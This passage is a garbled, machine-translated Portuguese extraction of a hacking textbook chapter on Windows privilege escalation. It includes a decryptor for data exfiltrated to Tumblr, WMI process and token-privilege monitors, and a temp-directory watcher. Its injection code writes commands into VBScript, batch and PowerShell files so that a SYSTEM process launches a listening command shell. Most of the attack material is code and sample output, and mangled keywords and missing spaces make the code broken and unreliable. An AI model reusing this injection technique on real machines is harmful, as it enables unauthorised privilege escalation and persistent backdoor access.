private_key="###COLARCHAVEPRIVADAAQUI###"
rsakey=RSA.importKey(private_key)
rsakey=PKCS1_OAEP.new(rsakey)
chunk_size=256
offset=0
descriptografado=""

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

80/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

criptografada=base64.b64decode(criptografados)

enquantodeslocamento<len(criptografados):
descriptografado+=rsakey.decrypt(criptografado[offset:offset+chunk_size])
offset+=chunk_size

#Agoransdescomprimiraooriginal
textosimples=zlib.decompress(descriptografado)
textosimplesdeimpresso

Perfeito!NssimplesmenteinstanciaraclasseRSAcomachaveprivadae,emseguida,poucodepoisns
base64descodificanossoblobcodificadodoTumblr.Muitoparecidocomonossociclodecodificao,nssimplesmentepegar256
pedaosdebytesedecifrlos,lentamenteconstruindoanossacadeiadetextoplanoinicial.Aetapafinal
paradescomprimiracargatil,porquenspreviamentecomprimidolodooutrolado.

Chutarospneus
Humagrandequantidadedepeasmveisparaestepedaodecdigo,masbastantefcildeusar.Bastaexecutaroseu
ie_exfil.pyroteirodeumdoWindowsacolhimentoeesperarporeleparaindicarqueeletenhasucessopostoua
Tumblr.SevocdeixouInternetExplorervisvel,vocdevetersidocapazdeassistiratodooprocesso.
Depoisqueforconcluda,vocdevesercapazdenavegaratapginadeTumblreveralgocomo
Figura91.

Figura91.Nossonomedearquivocriptografado

Comovocpodever,humagrandebolhacriptografada,queonomedonossoarquivo.Sevocrolarparabaixo,voc
vaiverclaramentequeottuloterminaondeafontenomaisousado.Sevoccopiarecolarottuloem
seudecryptor.pyarquivoeexecutlo,vocdeveveralgocomoisto:
#:>Pythondecryptor.py
C:Tools\ArquivosdeProgramas\depuraoparaWindows(x86)\dml.doc
#:>

Perfeito!Meuie_exfil.pyroteiropegouumdocumentoapartirdodirectrioWindowsDebuggingTools,
carregadoocontedoparaTumblr,eeucomxitopodedecifraronomedoarquivo.Agoraclaroqueparafazero
todoocontedodoarquivo,vocgostariadeautomatizarusandoostruquesquelhemostreinoCaptulo5
(usandourllib2eHTMLParser),quevoudeixarcomoumaliodecasaparavoc.Ooutro
coisaaconsiderarque,emnossaie_exfil.pyscript,almofadaltimos256bytescomocaracteredeespao,
eissopodeprejudicarcertosformatosdearquivo.Outraidiaparaestenderoprojetocriptografarumcomprimento
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

81/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

camponoinciodoscontedospostqueindicaotamanhooriginaldodocumentoantesde
vocacolchoadolo.Emseguida,podelernestecomprimentodepoisdedescriptografarocontedoposteapararoarquivo
paraqueotamanhoexacto.
[20] OpacotePyCryptoPythonpodeserinstaladoapartirhttp://www.voidspace.org.uk/python/modules.shtml#pycrypto/.

Captulo10.escalaodeprivilgiosdoWindows
AssimvocestalouumacaixadentrodeumarededoWindowssuculento.Talvezvocalavancadoummontoremoto
estouro,ouvocphishedseucaminhoparaarede.horadecomearaprocurarmaneirasparaescalar
privilgios.Sevocjouadministradordosistema,vocprovavelmentequervriasmaneirasde
alcanaressesprivilgiosnocasodeumciclodeadesivomataoseuacesso.Eletambmpodeserimportantedispordeum
catlogodeprivilgioescalaesnobolsodetrs,comoalgumasempresasexecutarsoftwarequepodeser
difcilanalisaremseuprprioambiente,evocnopodeexecutaremqueosoftwareatquevocestejaemum
empresadomesmotamanhooucomposio.Emumaescaladadeprivilgiostpico,vocestindoparaexploraruma
malcodificadosdriverouproblemakernelnativodoWindows,massevocusarumabaixaqualidadeexplorarouhuma
problemaduranteaexplorao,voccorreoriscodeinstabilidadedosistema.Nsestamosindoparaexploraralgumoutro
meiosdeadquirirprivilgioselevadosnoWindows.
Osadministradoresdesistemaemgrandesempresasnormalmentetmagendadotarefasouserviosqueiro
executarprocessosfilhosouexecutarscriptsVBScriptouPowerShellparaautomatizartarefas.Vendedores,tambm,muitasvezes
temautomatizados,builtintarefasquesecomportamdamesmamaneira.Nsestamosindoparatentartirarvantagemdaalta
privilgioprocessalidarcomarquivosouexecutarbinriosquesogravveis
porusuriosdebaixoprivilgio.

ExisteminmerasmaneirasparavoctentarescalarprivilgiosnoWindows,enssvo
cobriralguns.Noentanto,quandovocentenderessesconceitosbsicos,vocpodeexpandirseusscriptspara
comearaexploraroutros,cantosbolorentosescurasdeseusalvosWindows.
VamoscomearporaprenderaaplicarumaprogramaodoWindowsWMIparacriarumainterfaceflexvelque
monitorizaacriaodenovosprocessos.Colhemosdadosteiscomooscaminhosdearquivo,ousurioque
criadooprocesso,epermitiuprivilgios.Nossomonitoramentodoprocesso,emseguida,mosforatodososcaminhosdearquivoparaum
scriptdearquivomonitoramentoquemantmcontinuamenteapardequaisquernovosarquivoscriadoseoqueescritopara
eles.Istodiznosqueosarquivosestosendoacessados
porprocessosdealtaprivilgioealocalizaodoarquivo.

Opassofinalparainterceptaroprocessodearquivosdecriaoparaquepossamosinjetarcdigodescripteter
oprocessodealtaprivilgioexecutarumshelldecomando.Abelezadetodoesteprocessoqueele
noenvolvequalquerengancheAPI,paraquepossamosvoarsoboradardamaioriadossoftwaresantivrus.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

82/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

InstalandoosPrrequisitos
Precisamosinstalaralgumasbibliotecasparaescreveroferramentalnestecaptulo.Sevocseguiua
instruesiniciaisnoinciodolivro,voctereasy_installprontoparaorock.Casocontrrio,consulte
aCaptulo1paraobterinstruessobreainstalaoeasy_install.
Executeoseguinteemumcmd.exeshellnoseuWindowsVM:
C:\>easy_installpywin32wmi

Seporalgummotivoestemtododeinstalaonofuncionaparavoc,baixaroinstaladorPyWin32
directamenteapartirhttp://sourceforge.net/projects/pywin32/.
Emseguida,vocvaiquererinstalaroserviodeexemploqueosmeuscolaboradorestecnologiaDanFrischeCliffJanzen
escreveuparamim.Esteservioemulaumconjuntocomumdevulnerabilidadesquetemosdescobertoemgrande
redescorporativaseajudaailustrarocdigodeexemplonestecaptulo.
1.Faaodownloaddoarquivozip:http://www.nostarch.com/blackhatpython/bhpservice.zip.
2.Instaleoserviousandooscriptemlotesfornecidos,install_service.bat.Certifiquesedequevocest
executandocomoadministradorquandofazlo.
Vocdeveserbomparair,entoagoravamoscontinuarcomapartedivertida!

CriandoumaProcessMonitor
EuparticipeideumprojetoparaoImmunitychamadoElJefe,queemsuaessnciaumprocessamentomuitosimples
sistemademonitoramentocomoregistrocentralizado(http://eljefe.immunityinc.com/).Aferramentaconcebidapara
serusadoporpessoasdoladodadefesadaseguranaparacontrolaracriaodeprocessoseainstalaode
malware.Enquantoconsultarumdia,meucolegaMarkWuerglersugeriuqueusamosElJefecomoum
mecanismoleveparamonitorarprocessosexecutadoscomoSYSTEMemnossasmquinasWindowsalvo.
Istonosdariaumavisosobremanipulaodearquivospotencialmenteinsegurosouacriaodoprocessofilho.Funcionou,
enscaminhamoscomnumerososerrosdeprivilgiosquenosderamaschavesdoreino.
AprincipaldesvantagemdooriginalElJefequeeleusouumaDLLquefoiinjetadoemtodososprocessos
parainterceptarchamadasparatodasasformasdeonativoCreateProcessfuno.Emseguida,eleusouumpipenomeadopara
comunicaraoclienterecolha,queemseguida,encaminhadaosdetalhesdoprocessodecriaoparao
Servidorderegistro.OproblemacomistoqueamaioriadossoftwareantivrustambmconectaoCreateProcess
chamadas,porissoouelesvlocomomalwareouvoctemproblemasdeinstabilidadedosistemaquandoElJefeexecutado
ladoaladocomsoftwareantivrus.VamosrecriaralgunsdosrecursosdemonitoramentodeElJefeemum
formahookless,quetambmservoltadoparatcnicasofensivasemvezdemonitoramento.este
devefazeronossomonitoramentoporttiledarnosacapacidadedeexecutarcomsoftwareantivrusactivado
semproblema.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

83/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

MonitoramentodoprocessocomoWMI
AAPIWMIdaoprogramadoracapacidadedemonitorarosistemaparadeterminadoseventos,eemseguida
receberretornosdechamadaquandoocorremesseseventos.Nsvamosaproveitaressainterfaceparareceberuma
retornodechamadacadavezqueumprocessocriado.Quandoumprocessocriado,nsestamosindoparaprenderalguns
informaesvaliosasparaosnossospropsitos:otempoqueoprocessofoicriado,ousurioquegerouo
processo,oexecutvelquefoilanadoeseusargumentosdelinhadecomando,aidentificaodoprocesso,eo
IDdoprocessopai.Istoirmostrarnostodososprocessosquesocriadosporcontasdemaiorprivilgioe
emparticular,quaisquerprocessosqueestochamandoarquivosexternos,comoVBScriptouscriptsemlotes.Quandons
temtodasessasinformaes,nstambmvaideterminaroqueprivilgiosestohabilitadosnasfichasdeprocesso.
Emalgunscasosraros,vocvaiencontrarprocessosquesocriadoscomoumusurioregularmasquetenhamsido
concedidosprivilgiosdoWindowsadicionaisquevocpodeaproveitar.
Vamoscomearcriandoumscriptdemonitoramentomuitosimples[21]queforneceoprocessobsico
informaese,emseguida,construirsobreissoparadeterminarosprivilgiosativado.Noteseque,afimdecapturar
informaessobrealtoprivilgioprocessoscriadospelosistema,porexemplo,vocvaiprecisarparaexecutaroseu
monitoramentodescriptcomoumadministrador.Vamoscomearadicionandooseguintecdigopara
process_monitor.py:
win32conimportao
win32apiimportao
win32securityimportao
wmiimportao
sysimportao
importos
log_to_filedef(mensagem):
fd=open("process_monitor_log.csv","ab")
fd.write("%s\r\n"%message)
fd.close()
Retorna

#Criarumcabealhodoarquivodelog
log_to_file("Time,Usurio,executvel,CommandLine,PID,PaisPID,privilgios")
#InstanciarainterfaceWMI
C=wmi.WMI()
#Criaronossomonitordeprocesso
process_watcher=c.Win32_Process.watch_for("criao")

whileTrue:
experimentar:

new_processprocess_watcher=()
proc_ownernew_process.GetOwner=()
proc_owner="%s\\%s"%(proc_owner[0],proc_owner[2])
create_date=new_process.CreationDate
executvel=new_process.ExecutablePath
cmdline
=new_process.CommandLine
pid
=new_process.ProcessId
parent_pid=new_process.ParentProcessId
privilgios="N/A"
process_log_message="%s,%s,%s,%s,%s,%s,%s\r\n"%(create_date,
proc_owner,executvel,cmdline,pid,parent_pid,privilgios)
process_log_messagedeimpresso
log_to_file(process_log_message)
exceto:
passar

ComeamosporinstanciaraclasseWMIe,emseguida,dizendolheparaassistiraoeventodecriaodeprocesso
.AoleroPythonWMIdocumentao,nsaprendemosquevocpodemonitorarprocessodecriaoou
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

84/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

eventosdedeleo.Sevocdecidirquevocgostariadeacompanhardepertoeventosdeprocesso,vocpodeusaro
operaoeirnotificlodecadaeventoumprocessoatravessa.Emseguida,digiteumloop,
eosblocosloopatprocess_watcherretornaumnovoeventoprocesso.Onovoeventoprocesso
umaclasseWMIchamadoWin32_Process[22]quecontmtodasasinformaesrelevantesdequesomos
depoisde.UmadasfunesdeclasseGetOwner,quechamamosparadeterminarquemgerouo
processaredelnscoletamostodasasinformaesdoprocessoqueestamosprocurando,sadaparao
telaeregistrloemumarquivo.

Chutarospneus
Vamosacionarnossoscriptdemonitoramentodoprocessoe,emseguida,criaralgunsprocessosparaveroqueasada
parece.
C:\>pythonprocess_monitor.py
20130907115227,048683300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad.exe,"C:\WINDOWS\system32\notepad.exe",740.508,N/A
20130907115237,095300300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
calc.exe,"C:\WINDOWS\system32\calc.exe",2920.508,N/A

Depoisdeexecutaroscript,eucorrinotepad.exeecalc.exe.Vocpodeverainformaoaseremitidos
corretamente,ereparequeambososprocessosteveoPaiPIDdefinidopara508,oqueoIDdoprocesso
explorer.exenaminhaVM.Vocpodeagoratomarumaprolongadapausaedeixeesteroteiroprazodeumdiae
vejatodososprocessos,tarefasagendadas,evriosatualizadoresdesoftwareemexecuo.Voctambmpodemanchar
malwaressevoc(des)sorte.Tambmtilparafazerlogouteloginnovamenteparaoseualvo,comoeventos
geradosapartirdessasaespoderiaindicarprocessosprivilegiados.Agoraquetemosoprocessobsico
monitoramentonolugar,vamospreencherocampoprivilgiosemnossoregistroeaprenderumpoucosobrecomo
privilgiosdoWindowsfuncionameporqueelessoimportantes.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

85/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

PrivilgiosdeTokendoWindows
UmtokendoWindows,porMicrosoft:"umobjetoquedescreveocontextodeseguranadeumprocessoou
discusso."[23]Comoumtokeninicializadoequaispermisseseprivilgiossoconfiguradosemumtoken
determinarquaisastarefasqueprocessoousegmentopodeexecutar.Umdesenvolvedorbemintencionadopodeterum
aplicaodabandejadosistema,comopartedeumprodutodesegurana,quegostariadedaracapacidadedeumno
usurioprivilegiadoparacontrolaroprincipalserviodoWindows,queumdriver.Odesenvolvedorusao
funoAPInativasdoWindowsAdjustTokenPrivilegessobreoprocessoesubsdiosinocentemente
aaplicaodabandejadosistemadoSeLoadDriverprivilgio.Oqueodesenvolvedornoestpensando
ofatodeque,sevocpodesubirnointeriorqueaaplicaodabandejadosistema,voctambmtemagoraacapacidadedecarregar
oudescarregarqualquerdriverquevocquer,oquesignificaquevocpodesoltarumrootkitemmodokerneleissosignifica
fimdejogo.
Tenhaemmente,sevocnopodeexecutaroseumonitordeprocessocomoSYSTEMouumusurioadministrativo,entovoc
precisamanterumolhosobreoqueprocessalosocapazesdemonitorareversehqualqueradicional
privilgiosquevocpodetirarproveito.Umprocessoemexecuocomooseuusuriocomosprivilgioserradasumfantstico
maneiradechegaraosistemaouexecutarcdigonokernel.privilgiosinteressantesqueeusempreolharparaforaso
listadosnaTabela101.Elenoexaustiva,masservecomoumbompontodepartida.[24]
Tabela101.Privilgiosinteressantes
nomedoprivilgio Deacessoqueconcedido
SeBackupPrivilegeThisenablestheuserprocesstobackupfilesanddirectories,andgrantsREADaccesstofilesnomatterwhat

ACLdefineoseu.
SeDebugPrivilegeThisenablestheuserprocesstodebugotherprocesses.Thisalsoincludesobtainingprocesshandlestoinject

DLLsoucdigoemprocessosemexecuo.
SeLoadDriver

Issopermitequeumusurioprocessoparacarregaroudescarregardrivers.

Agoraquetemososfundamentosdoqueprivilgiossoequeprivilegiaaprocurar,vamos
alavancagemPythonpararecuperarautomaticamenteosprivilgioshabilitadossobreosprocessosqueestamosmonitorando.
Nsvamosfazerusodaswin32security,Win32APIewin32conmdulos.Sevocencontrarum
situaoemquevocnopodecarregaressesmdulos,todasasseguintesfunespodemsertraduzidosem
chamadasnativasutilizandoabibliotecactypesapenasmuitomaistrabalho.Adicioneoseguintecdigopara
process_monitor.pydiretamenteacimanossaexistentelog_to_filefuno:
get_process_privilegesdef(PID):
experimentar:
#Obterumidentificadorparaoprocessodedestino
hProc=win32api.OpenProcess(win32con.PROCESS_QUERY_

INFORMAO,Falso,pid)

#Abriroprincipaltokendoprocesso
htok=win32security.OpenProcessToken(hProc,win32con.TOKEN_QUERY)
#Recuperaralistadeprivilgioshabilitado
privs=win32security.GetTokenInformation(htok,win32security.
TokenPrivileges)
#Iterarsobreprivilgiosesadaaquelesqueestohabilitados
priv_list=""
foriinprivs:
#Verificarseoprivilgioesthabilitado

seeu[1]==3:
priv_list+="%s|"%Win32security.
LookupPrivilegeName(Nenhum,i[0])
exceto:
priv_list="N/A"

voltarpriv_list

NsusamosoIDdoprocessoparaobterumidentificadorparaoprocessodedestino.Emseguida,nsseabriroprocesso
tokendee,emseguida,solicitarasinformaesdetokenparaesseprocesso.Aoenviaro
win32security.TokenPrivilegesestrutura,queestoinstruindoaAPIchamadaparaentregardevoltatudodeo
informaesprivilgioparaesseprocesso.Achamadadefunoretornaumalistadetuplas,ondeoprimeiro
membrodatuplaoprivilgioeosegundomembrodescreveseoprivilgio
habilitadoouno.Porqueestamosapenaspreocupadoscomosprivilgiosquesohabilitados,primeiroverifique
paraosbitshabilitadose,depois,procuraronomelegvelporesseprivilgio.
Emseguida,vamosmodificarnossocdigoexistenteparaquensestamossadacorretamenteeregistraressasinformaes.
Alteraraseguintelinhadecdigoapartirdeste:
privilgios="N/A"

paraoseguinte:
privilgios=get_process_privileges(PID)

Agoraquensadicionamosonossocdigodeacompanhamentoprivilgio,vamosexecutarnovamenteaprocess_monitor.pyroteiroe
verifiqueasada.Vocverinformaesprivilgiocomomostradonasadaabaixo:
C:\>python.exeprocess_monitor.py
20130907233506,055054300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad.exe,"C:\WINDOWS\system32\notepad.exe",660.508,SeChangeNotifyPrivilege
|SeImpersonatePrivilege|SeCreateGlobalPrivilege|
20130907233515,914176300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
calc.exe,"C:\WINDOWS\system32\calc.exe",1004.508,SeChangeNotifyPrivilege|
SeImpersonatePrivilege|SeCreateGlobalPrivilege|

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

86/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Vocpodeverqueestamosregistrandocorretamenteosprivilgioshabilitadosparaessesprocessos.Poderamosfacilmente
colocarumpoucodeinteligncianoscriptpararegistrarsomenteosprocessosquesoexecutadoscomoumusuriosemprivilgios,mastm
privilgiosinteressanteshabilitado.Vamosvercomoesteusodomonitoramentodoprocessovaideixarnosencontrar
processosqueestoutilizandoarquivosexternosdeformainsegura.

Venceracorrida
scriptsemlote,scriptsdeVBScript,ePowerShelltornaravidadosadministradoresdesistemasmaisfcil,
automatizandotarefasmontonas.Suafinalidadepodevariardecontinuamenteregistrarauminventriocentral
servioparaforaratualizaesdesoftwareapartirdeseusprpriosrepositrios.Umproblemacomumafalta
deACLsapropriadassobreessesarquivosdescript.Emvrioscasos,emservidoresdeoutraformasegura,euencontrei
scriptsemlotesouscriptsdoPowerShellquesoexecutadosumavezpordiapelousuriodosistemaaoserglobalmente
gravvelporqualquerusurio.
Sevocexecutaroseumonitordeprocessotemposuficienteemumaempresa(ouvocsimplesmenteinstalaroexemplo
servioprestadonoinciodestecaptulo),vocpodeverosregistrosdeprocessosqueseparecemcomisto:
20130907233515,914176300,NTAUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.
exe,C:\WINDOWS\system32\cscript.exe/nologo"C:\WINDOWS\Temp\azndldsddfggg.
vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal
Privilege|

Vocpodeverqueumprocessodosistemagerouocscript.exebinrioeaprovadano
C:\WINDOWS\Temp\andldsddfggg.vbsparmetro.Oexemplodeserviofornecidadevegerar
esseseventosporminuto.Sevocfizerumalistadediretrio,vocnovaiverestearquivopresente.Oque
acontecendoqueoservioacriaodeumnomedearquivoaleatrio,empurrandoVBScriptparaoarquivo,eemseguida
execuoqueVBScript.Euviessaaoexecutadapelosoftwarecomercialemumasriede
casos,eeuviumsoftwarequecopiaosarquivosemumlocaltemporrio,executareemseguida,elimine
essesarquivos.
Paraexplorarestacondio,temosdeganhareficazmenteumacorridacontraocdigodeexecuo.Quando
osoftwareoutarefaagendadacriaoarquivo,precisosercapazdeinjetaronossoprpriocdigoparaoarquivo
antesqueoprocessoexecutaloe,emseguida,emltimaanlise,excluilo.OtruqueparaissooWindowsmo
APIchamadaReadDirectoryChangesW,oquenospermitemonitorarumdiretrioparaquaisqueralteraes
arquivosousubdiretrios.Nstambmpodefiltraresseseventosparaquenssomoscapazesdedeterminarquandooarquivo
foi"salvo"paraquepossamosrapidamenteinjetarnossocdigoantesdeserexecutado.Elepodeserincrivelmentetil
simplesmentemanterumolhoemtodososdiretriostemporriosporumperodode24horasoumais,porcausa
svezesvocvaiencontrarbugsinteressantesoudivulgaesdeinformaonotopodopotencialprivilgio
escalaes.
Vamoscomearcriandoummonitordearquivo,edepoisvamosconstruirsobreissoparainjetarautomaticamenteocdigo.Crio
umnovoarquivochamadofile_monitor.pyemartelaroseguinte:
#Exemploquedadooriginalmenteaquimodificao:
#Http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.
html
tempfileimportao
rosqueamentodeimportao
win32fileimportao
win32conimportao
importos
#Estessoosdiretriosdearquivostemporrioscomum
dirs_to_monitor=["C:\\Windows\\Temp",tempfile.gettempdir()]
#constantesdemodificaodoarquivo
FILE_CREATED
1=
FILE_DELETED
2=
FILE_MODIFIED
=3
FILE_RENAMED_FROM=4
FILE_RENAMED_TO
=5
start_monitordef(path_to_watch):

#Criamosumalinhaparacadaexecuodemonitoramento
FILE_LIST_DIRECTORY=0x0001

h_directory=win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_
SHARE_DELETE,
Nenhum,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
Nenhum)
enquanto1:
experimentar:
resultados=win32file.ReadDirectoryChangesW(
h_directory,
1024,
Verdade,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

87/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
win32con.FILE_NOTIFY_CHANGE_FILE_NAME|
win32con.FILE_NOTIFY_CHANGE_DIR_NAME|
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|
win32con.FILE_NOTIFY_CHANGE_SIZE|
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|
win32con.FILE_NOTIFY_CHANGE_SECURITY,
Nenhum,
Nenhum
)

paraaao,file_namenoresultado:
full_filename=os.path.join(path_to_watch,file_name)
seaao==FILE_CREATED:
print"[+]Criado%s"%full_filename
aoelif==FILE_DELETED:
print"[]Excludos%s"%full_filename
aoelif==FILE_MODIFIED:
print"[*]Modificado%s"%full_filename
#Despejarocontedodoarquivo
print"[VVV]Dumpingcontedos..."
experimentar:
fd=open(full_filename,"rb")
contents=fd.read()
fd.close()
contedosdeimpresso
print"[^^^]dumpcompleto."
exceto:
print"[!!!]Falha".

aoelif==FILE_RENAMED_FROM:
print"[>]renomeadode:%s"%full_filename
aoelif==FILE_RENAMED_TO:
print"[<]renomeadapara:%s"%full_filename
outro:
print"[???]Unknown:%s"%full_filename
exceto:
passar

paraocaminhoemdirs_to_monitor:
monitor_thread=threading.Thread(target=start_monitor,args=(caminho,))
print"threaddemonitoramentodedesovaparaocaminho:%s"%path
monitor_thread.start()

Nsdefinimosumalistadediretriosquegostaramosdemonitorar,quenonossocasosoosdoiscomum
arquivostemporriosdiretrios.Tenhaemmentequepodehaveroutroslugaresquevocquermanterumolhoem,
entoeditarestalistacomovocvoajuste.Paracadaumdessescaminhos,vamoscriarumsegmentodemonitoramentoquechamaa
start_monitorfuno.Aprimeiratarefadeestafunoparaadquirirumidentificadorparaodiretriodens
desejamonitorar.Emseguida,chamaroReadDirectoryChangesWfuno,oquenosquandoumnotifica

mudanaocorre.Recebemosonomedoarquivoalvoquemudoueotipodeeventoque
aconteceu.Apartirdaquipodemosimprimirinformaesteissobreoqueaconteceucomessearquivoparticular,
e,sedetectarqueelefoimodificado,nsdespejarocontedodoarquivoparareferncia.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

88/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Abraumcmd.exeshelleexecutarfile_monitor.py:
C:\>python.exefile_monitor.py

Abraumasegundacmd.exeshelleexecuteosseguintescomandos:
C:\>cd%temp%
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>echoOl>FileTest
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>renomearFileTestfile2test
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>delfile2test

Vocdeveverumasadaqueseparececomoseguinte:
Desovathreaddemonitoramentoparaocaminho:C:\WINDOWS\Temp
Desovathreaddemonitoramentoparaocaminho:C:\DOCUME~1\admini~1\moradores~1\temp
[+]Criadoc:\DOCUME~1\admini~1\moradores~1\temp\FileTest
[*]Cmodificao:\DOCUME~1\admini~1\moradores~1\temp\FileTest
[vvv]Dumpingcontedos...
Ol

[^^^]Completoreserva.
[>]Renomeadode:c:\DOCUME~1\admini~1\moradores~1\temp\FileTest
[<]Renomeadapara:c:\DOCUME~1\admini~1\moradores~1\temp\file2test
[*]Cmodificao:\DOCUME~1\admini~1\moradores~1\temp\file2test
[vvv]Dumpingcontedos...
Ol
[^^^]Completoreserva.
[]CExcludos:\DOCUME~1\admini~1\moradores~1\temp\FILE2T~1

Setodosositensacimatemfuncionadocomoplanejado,euencorajloamanteroseumonitordearquivodeexecuopara24
horasemumsistemadedestino.Vocpodesersurpreendido(ouno)paraverosarquivosqueestsendocriado,executadoe
suprimido.Voctambmpodeusaroseuscriptprocessodemonitoramentoparatentarencontrarcaminhosdearquivointeressantesparamonitorar
tambm.Asatualizaesdesoftwarepoderiaserdeinteresseparticular.Vamosseguiremfrenteeadicionaracapacidadede
injetarautomaticamenteocdigoemumarquivodedestino.

Injeodecdigo
Agoraquepodemosmonitorarosprocessosearquivarlocais,vamosdarumaolhadaemsercapazdeautomaticamente
injetarcdigoemarquivosdedestino.AslinguagensdescriptmaiscomunsqueeuviempregadassoVBScript,
arquivosemlote,ePowerShell.Vamoscriartrechosdecdigomuitosimplesquegeramumaversocompiladade
nossabhpnet.pyferramentacomonveldeprivilgiodoserviodeorigem.Humavastagamadedesagradvel
coisasquevocpodefazercomestaslinguagensdescript[25],vamoscriaroquadrogeralparaofazer,e
vocpodecorrersoltaapartirda.Vamosmodificarnossofile_monitor.pyroteiroeadicioneoseguintecdigoaps
asconstantesmodificaodoarquivo:
FILE_TYPES={}
command="C:\\Windows\\TEMP\\bhpnet.exelp9999c"
FILE_TYPES['.vbs']=
["\R\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%
comando]

FILE_TYPES['.bat']=["\r\NREMbhpmarkerr\n\","\r\n%s\r\n"comando%]
FILE_TYPES['.ps1']=["\r\n#bhpmarker","StartProcess\"%s\"\r\n"comando%]
#Funoparalidarcomainjeodecdigo
inject_codedef(full_filename,extenso,contedo):

#onossomarcadorjnoarquivo?
seFILE_TYPES[extenso][0]nocontedo:
Retorna
#Nomarcadorvamosinjetaromarcadorecdigo
full_contents=FILE_TYPES[extenso][0]
full_contents+=FILE_TYPES[extenso][1]
full_contents+=contedo

fd=open(full_filename,"wb")
fd.write(full_contents)
fd.close()
print"[\o/]cdigoinjetado."
Retorna

Comeamospordefinirumdicionriodetrechosdecdigoquecorrespondemaumaextensodearquivoespecficoque
incluiummarcadornicoeocdigoquequerinjetar.Arazoporqueusarummarcadorporquens
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

89/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

podeentraremumloopinfinitopeloqualvemosumamodificaodoarquivo,inserimosonossocdigo(queprovocauma
EventoSubsequentearquivodemodificao),eassimpordiante.Issocontinuaatqueoarquivoficagigantescoeo
discorgidocomeaachorar.Oprximopedaodecdigoanossainject_codefunoquelidacomoreal
injeodecdigoeverificaodemarcadordearquivo.Depoisverificasequeomarcadornoexiste,escrevemos
omarcadoreocdigoqueremosqueoprocessodedestinoparaexecutar.Agoraprecisamosmodificaronossoprincipal
ciclodeeventosparaincluirnossocheckextensodearquivoeachamadaparainject_code.
recorte

aoelif==FILE_MODIFIED:
print"[*]Modificado%s"%full_filename
#Despejarocontedodoarquivo
print"[VVV]Dumpingcontedos..."
experimentar:
fd=open(full_filename,"rb")
contents=fd.read()
fd.close()

contedosdeimpresso
print"[^^^]dumpcompleto."
exceto:
print"[!!!]Falha".
####NOVOCDIGOCOMEAAQUI
filename,extension=os.path.splitext(full_filename)

####FIMDONOVOCDIGO

seaextensoemFILE_TYPES:
inject_code(full_filename,extenso,contedo)

recorte

Estaumaadiobastantesimplesparaonossocircuitoprimrio.Fazemosumrpidodesdobramentodaextensodearquivo
e,emseguida,verifiquelocontraonossodicionriodeconhecidosarquivotipos.Seoarquivodeextensodetectadoem
nossodicionrio,quechamamosdenossainject_codefuno.Vamoslevlaparaumarodada.

Chutarospneus
